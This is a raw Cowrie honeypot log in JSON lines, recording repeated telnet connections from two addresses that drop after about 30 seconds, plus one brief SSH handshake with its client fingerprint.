{"eventid":"cowrie.session.closed","duration":31.046899557113647,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:44.513072Z","src_ip":"66.113.179.55","session":"9eda4f2c2812","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":33092,"dst_ip":"10.17.0.5","dst_port":23,"session":"79b247bc4bfd","protocol":"telnet","message":"New connection: 66.113.179.55:33092 (10.17.0.5:23) [session: 79b247bc4bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:44.666594Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":33228,"dst_ip":"10.17.0.5","dst_port":23,"session":"258d315c9940","protocol":"telnet","message":"New connection: 66.113.179.55:33228 (10.17.0.5:23) [session: 258d315c9940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:44.711715Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":34230,"dst_ip":"10.17.0.5","dst_port":23,"session":"794f31980549","protocol":"telnet","message":"New connection: 66.113.179.55:34230 (10.17.0.5:23) [session: 794f31980549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:45.028571Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":46552,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d72720d3f54","protocol":"telnet","message":"New connection: 50.116.100.16:46552 (159.203.135.109:23) [session: 7d72720d3f54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:45.206716Z"}
{"eventid":"cowrie.session.closed","duration":30.94646191596985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:45.567911Z","src_ip":"66.113.179.55","session":"eece23579f18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":36556,"dst_ip":"10.17.0.5","dst_port":23,"session":"daf94f1d11c7","protocol":"telnet","message":"New connection: 66.113.179.55:36556 (10.17.0.5:23) [session: daf94f1d11c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:45.896244Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":37832,"dst_ip":"10.17.0.5","dst_port":23,"session":"41eb5ce51a15","protocol":"telnet","message":"New connection: 66.113.179.55:37832 (10.17.0.5:23) [session: 41eb5ce51a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:46.419752Z"}
{"eventid":"cowrie.session.closed","duration":30.596194744110107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:46.522566Z","src_ip":"66.113.179.55","session":"8e60cd852e14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.858220100402832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:46.528844Z","src_ip":"66.113.179.55","session":"d82be013653d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":47876,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce733bf932b5","protocol":"telnet","message":"New connection: 50.116.100.16:47876 (159.203.135.109:23) [session: ce733bf932b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:46.546336Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":38584,"dst_ip":"10.17.0.5","dst_port":23,"session":"caab89383287","protocol":"telnet","message":"New connection: 66.113.179.55:38584 (10.17.0.5:23) [session: caab89383287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:46.708695Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":38656,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c8c71c3ebb7","protocol":"telnet","message":"New connection: 66.113.179.55:38656 (10.17.0.5:23) [session: 5c8c71c3ebb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:46.736902Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":39060,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7118b3130ae","protocol":"telnet","message":"New connection: 66.113.179.55:39060 (10.17.0.5:23) [session: f7118b3130ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:46.903834Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":40050,"dst_ip":"10.17.0.5","dst_port":23,"session":"af5da0790dff","protocol":"telnet","message":"New connection: 66.113.179.55:40050 (10.17.0.5:23) [session: af5da0790dff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:47.310039Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":40822,"dst_ip":"10.17.0.5","dst_port":23,"session":"18942057c551","protocol":"telnet","message":"New connection: 66.113.179.55:40822 (10.17.0.5:23) [session: 18942057c551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:47.647163Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":41128,"dst_ip":"10.17.0.5","dst_port":23,"session":"586f17895155","protocol":"telnet","message":"New connection: 66.113.179.55:41128 (10.17.0.5:23) [session: 586f17895155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:47.749122Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":41358,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b47d49d119a","protocol":"telnet","message":"New connection: 66.113.179.55:41358 (10.17.0.5:23) [session: 8b47d49d119a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:47.846006Z"}
{"eventid":"cowrie.session.closed","duration":31.611626386642456,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:48.054090Z","src_ip":"50.116.100.16","session":"6ab587f75718","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":49852,"dst_ip":"159.203.135.109","dst_port":23,"session":"86038b5138bc","protocol":"telnet","message":"New connection: 50.116.100.16:49852 (159.203.135.109:23) [session: 86038b5138bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:48.307057Z"}
{"eventid":"cowrie.session.closed","duration":30.496294498443604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:48.878946Z","src_ip":"66.113.179.55","session":"1c7642acbda9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":44274,"dst_ip":"10.17.0.5","dst_port":23,"session":"90b177d99040","protocol":"telnet","message":"New connection: 66.113.179.55:44274 (10.17.0.5:23) [session: 90b177d99040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:49.032504Z"}
{"eventid":"cowrie.session.closed","duration":31.583168506622314,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:49.361474Z","src_ip":"66.113.179.55","session":"b32c412abf5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.897905826568604,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:49.513255Z","src_ip":"66.113.179.55","session":"9ecbc8f39190","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.924963235855103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:49.585372Z","src_ip":"66.113.179.55","session":"b17bc26d2778","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":50146,"dst_ip":"159.203.135.109","dst_port":23,"session":"216227ef13c5","protocol":"telnet","message":"New connection: 50.116.100.16:50146 (159.203.135.109:23) [session: 216227ef13c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:49.601757Z"}
{"eventid":"cowrie.session.closed","duration":31.054534435272217,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:50.053086Z","src_ip":"50.116.100.16","session":"26667fa39c9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":46824,"dst_ip":"10.17.0.5","dst_port":23,"session":"de1f875ad256","protocol":"telnet","message":"New connection: 66.113.179.55:46824 (10.17.0.5:23) [session: de1f875ad256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:50.110837Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":47622,"dst_ip":"10.17.0.5","dst_port":23,"session":"49de57d04aad","protocol":"telnet","message":"New connection: 66.113.179.55:47622 (10.17.0.5:23) [session: 49de57d04aad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:50.424511Z"}
{"eventid":"cowrie.session.closed","duration":31.109863758087158,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:50.503752Z","src_ip":"66.113.179.55","session":"053f60e62882","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":48318,"dst_ip":"10.17.0.5","dst_port":23,"session":"30ef5d3c4210","protocol":"telnet","message":"New connection: 66.113.179.55:48318 (10.17.0.5:23) [session: 30ef5d3c4210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:50.696978Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":48940,"dst_ip":"10.17.0.5","dst_port":23,"session":"239e2a8f57a9","protocol":"telnet","message":"New connection: 66.113.179.55:48940 (10.17.0.5:23) [session: 239e2a8f57a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:50.917395Z"}
{"eventid":"cowrie.session.closed","duration":30.42915678024292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:51.514568Z","src_ip":"66.113.179.55","session":"8af914652e1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":50482,"dst_ip":"10.17.0.5","dst_port":23,"session":"2af6cc2d05a8","protocol":"telnet","message":"New connection: 66.113.179.55:50482 (10.17.0.5:23) [session: 2af6cc2d05a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:51.528436Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":51632,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf43665be126","protocol":"telnet","message":"New connection: 66.113.179.55:51632 (10.17.0.5:23) [session: bf43665be126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:51.990650Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":51792,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb571b579b12","protocol":"telnet","message":"New connection: 66.113.179.55:51792 (10.17.0.5:23) [session: bb571b579b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:52.052552Z"}
{"eventid":"cowrie.session.closed","duration":30.89021587371826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:52.475950Z","src_ip":"66.113.179.55","session":"232eee713691","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.352164030075073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:52.586019Z","src_ip":"66.113.179.55","session":"dddfe1b07d48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":53154,"dst_ip":"10.17.0.5","dst_port":23,"session":"025659d7897d","protocol":"telnet","message":"New connection: 66.113.179.55:53154 (10.17.0.5:23) [session: 025659d7897d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:52.605734Z"}
{"eventid":"cowrie.session.closed","duration":30.402133226394653,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:52.610574Z","src_ip":"66.113.179.55","session":"89dcd269623c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.613528966903687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:52.615039Z","src_ip":"66.113.179.55","session":"95e8f4113d35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":53356,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfb00b7fab3a","protocol":"telnet","message":"New connection: 66.113.179.55:53356 (10.17.0.5:23) [session: bfb00b7fab3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:52.694943Z"}
{"eventid":"cowrie.session.closed","duration":30.97286295890808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:52.705010Z","src_ip":"66.113.179.55","session":"d04f224399a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.016673803329468,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:52.721319Z","src_ip":"66.113.179.55","session":"db82a6facc3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":53672,"dst_ip":"10.17.0.5","dst_port":23,"session":"baab6a363cce","protocol":"telnet","message":"New connection: 66.113.179.55:53672 (10.17.0.5:23) [session: baab6a363cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:52.811143Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":54944,"dst_ip":"10.17.0.5","dst_port":23,"session":"b51be149d9b9","protocol":"telnet","message":"New connection: 66.113.179.55:54944 (10.17.0.5:23) [session: b51be149d9b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:53.286826Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":55290,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f0962258136","protocol":"telnet","message":"New connection: 66.113.179.55:55290 (10.17.0.5:23) [session: 4f0962258136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:53.413142Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":53942,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bf214e14eaa","protocol":"telnet","message":"New connection: 50.116.100.16:53942 (159.203.135.109:23) [session: 7bf214e14eaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:53.460900Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":55910,"dst_ip":"10.17.0.5","dst_port":23,"session":"f58ebb0a2a23","protocol":"telnet","message":"New connection: 66.113.179.55:55910 (10.17.0.5:23) [session: f58ebb0a2a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:53.659363Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":55940,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd1798721099","protocol":"telnet","message":"New connection: 66.113.179.55:55940 (10.17.0.5:23) [session: cd1798721099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:53.670246Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":55104,"dst_ip":"159.203.135.109","dst_port":23,"session":"544a478e22f8","protocol":"telnet","message":"New connection: 50.116.100.16:55104 (159.203.135.109:23) [session: 544a478e22f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:53.674371Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":56448,"dst_ip":"10.17.0.5","dst_port":23,"session":"700ee45f0014","protocol":"telnet","message":"New connection: 66.113.179.55:56448 (10.17.0.5:23) [session: 700ee45f0014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:53.897969Z"}
{"eventid":"cowrie.session.closed","duration":30.89886784553528,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:54.157777Z","src_ip":"66.113.179.55","session":"f438aa755374","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43770122528076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:54.182225Z","src_ip":"50.116.100.16","session":"eaecf26276d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88105845451355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:54.266193Z","src_ip":"50.116.100.16","session":"5b302c78eea1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.741947412490845,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:54.492031Z","src_ip":"66.113.179.55","session":"41c8300971bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":58104,"dst_ip":"10.17.0.5","dst_port":23,"session":"9afaf00899ef","protocol":"telnet","message":"New connection: 66.113.179.55:58104 (10.17.0.5:23) [session: 9afaf00899ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:54.534340Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.196","src_port":55988,"dst_ip":"159.203.135.109","dst_port":22,"session":"51cb9c46e066","protocol":"ssh","message":"New connection: 2.57.122.196:55988 (159.203.135.109:22) [session: 51cb9c46e066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:54.639156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:54.644104Z","src_ip":"2.57.122.196","session":"51cb9c46e066","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":58668,"dst_ip":"10.17.0.5","dst_port":23,"session":"0628905e4138","protocol":"telnet","message":"New connection: 66.113.179.55:58668 (10.17.0.5:23) [session: 0628905e4138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:54.744944Z"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:54.749050Z","src_ip":"2.57.122.196","session":"51cb9c46e066","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":59910,"dst_ip":"10.17.0.5","dst_port":23,"session":"b68d6c763a58","protocol":"telnet","message":"New connection: 66.113.179.55:59910 (10.17.0.5:23) [session: b68d6c763a58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:55.178626Z"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:55.184499Z","src_ip":"2.57.122.196","session":"51cb9c46e066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.477469444274902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:55.504572Z","src_ip":"66.113.179.55","session":"e6c39c470a4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.706408262252808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:55.518365Z","src_ip":"66.113.179.55","session":"22276a4b4b8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.35369849205017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:55.555931Z","src_ip":"66.113.179.55","session":"564355d1543b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":33304,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e6797069db7","protocol":"telnet","message":"New connection: 66.113.179.55:33304 (10.17.0.5:23) [session: 2e6797069db7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:55.791690Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":33698,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0e5920a40be","protocol":"telnet","message":"New connection: 66.113.179.55:33698 (10.17.0.5:23) [session: b0e5920a40be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:55.928251Z"}
{"eventid":"cowrie.session.closed","duration":31.19550633430481,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:56.165677Z","src_ip":"66.113.179.55","session":"8ed32911de9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.483937978744507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:56.588221Z","src_ip":"66.113.179.55","session":"6c99d07b5ca2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":35668,"dst_ip":"10.17.0.5","dst_port":23,"session":"90d85ab2d5bc","protocol":"telnet","message":"New connection: 66.113.179.55:35668 (10.17.0.5:23) [session: 90d85ab2d5bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:56.632859Z"}
{"eventid":"cowrie.session.closed","duration":30.843754053115845,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:57.531761Z","src_ip":"66.113.179.55","session":"9a86c17ac87e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":38424,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f866533f9c1","protocol":"telnet","message":"New connection: 66.113.179.55:38424 (10.17.0.5:23) [session: 9f866533f9c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:57.746778Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":59648,"dst_ip":"159.203.135.109","dst_port":23,"session":"943d9246a35f","protocol":"telnet","message":"New connection: 50.116.100.16:59648 (159.203.135.109:23) [session: 943d9246a35f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:02:58.071306Z"}
